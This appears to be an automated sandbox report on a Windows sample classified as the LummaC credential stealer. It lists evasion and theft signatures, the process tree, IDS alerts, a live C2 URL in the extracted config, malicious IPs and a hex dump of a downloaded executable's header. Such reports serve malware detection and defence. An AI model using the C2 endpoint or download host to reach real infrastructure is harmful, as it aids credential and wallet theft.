Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561764
MD5:	0c49d97124388f05574ea1d5fae91a69
SHA1:	4b9e218c5ad14604dd79149e36bfb8ffd9f34487
SHA256:	2d2a286b331294d85dfc607042762753170f8fe0f3867bbac3ed5c2de5364723
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7804 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 0C49D97124388F05574EA1D5FAE91A69)

chrome.exe (PID: 2220 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 7560 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2536 --field-trial-handle=1924,i,5708739163240515119,9735538660646773485,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 5924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

chrome.exe (PID: 6584 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=2008,i,13480779338358767381,12639924099947820658,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 83395EAB5B03DEA9720F8D7AC0D15CAA)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1471938676.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7804	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7804	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7804	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:43:43.268332+0100	2028371	3	Unknown Traffic	192.168.2.10	49716	172.67.162.84	443	TCP
2024-11-24T08:43:45.300749+0100	2028371	3	Unknown Traffic	192.168.2.10	49722	172.67.162.84	443	TCP
2024-11-24T08:43:47.941194+0100	2028371	3	Unknown Traffic	192.168.2.10	49730	172.67.162.84	443	TCP
2024-11-24T08:43:51.045380+0100	2028371	3	Unknown Traffic	192.168.2.10	49741	172.67.162.84	443	TCP
2024-11-24T08:43:53.505256+0100	2028371	3	Unknown Traffic	192.168.2.10	49748	172.67.162.84	443	TCP
2024-11-24T08:43:56.040022+0100	2028371	3	Unknown Traffic	192.168.2.10	49755	172.67.162.84	443	TCP
2024-11-24T08:43:58.788481+0100	2028371	3	Unknown Traffic	192.168.2.10	49763	172.67.162.84	443	TCP
2024-11-24T08:44:03.981469+0100	2028371	3	Unknown Traffic	192.168.2.10	49775	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:43:43.974989+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49716	172.67.162.84	443	TCP
2024-11-24T08:43:45.977461+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49722	172.67.162.84	443	TCP
2024-11-24T08:44:04.686231+0100	2054653	1	A Network Trojan was detected	192.168.2.10	49775	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:43:43.974989+0100	2049836	1	A Network Trojan was detected	192.168.2.10	49716	172.67.162.84	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:43:45.977461+0100	2049812	1	A Network Trojan was detected	192.168.2.10	49722	172.67.162.84	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:44:06.211442+0100	2019714	2	Potentially Bad Traffic	192.168.2.10	49781	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T08:43:56.757327+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.10	49755	172.67.162.84	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000001.00000003.1645992128.0000000008130000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1736867179.0000000006012000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.10:49716 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49716 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.10:49722 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49722 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.10:49755 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.10:49775 -> 172.67.162.84:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://property-imper.sbs/api

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 07:44:05 GMTContent-Type: application/octet-streamContent-Length: 2813440Last-Modified: Sun, 24 Nov 2024 07:16:41 GMTConnection: keep-aliveETag: "6742d2d9-2aee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 9c 94 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 79 70 64 63 69 70 79 00 a0 2a 00 00 a0 00 00 00 8e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 6b 6a 6e 67 77 70 76 00 20 00 00 00 40 2b 00 00 04 00 00 00 c8 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 cc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 172.67.162.84 172.67.162.84

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49716 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49741 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49722 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49748 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49763 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49755 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49730 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.10:49775 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.10:49781 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 173.222.162.55:443 -> 192.168.2.10:49980 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 4.175.87.197
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZuLVKpZ2SH8G6f3&MD=MS8COkYs HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
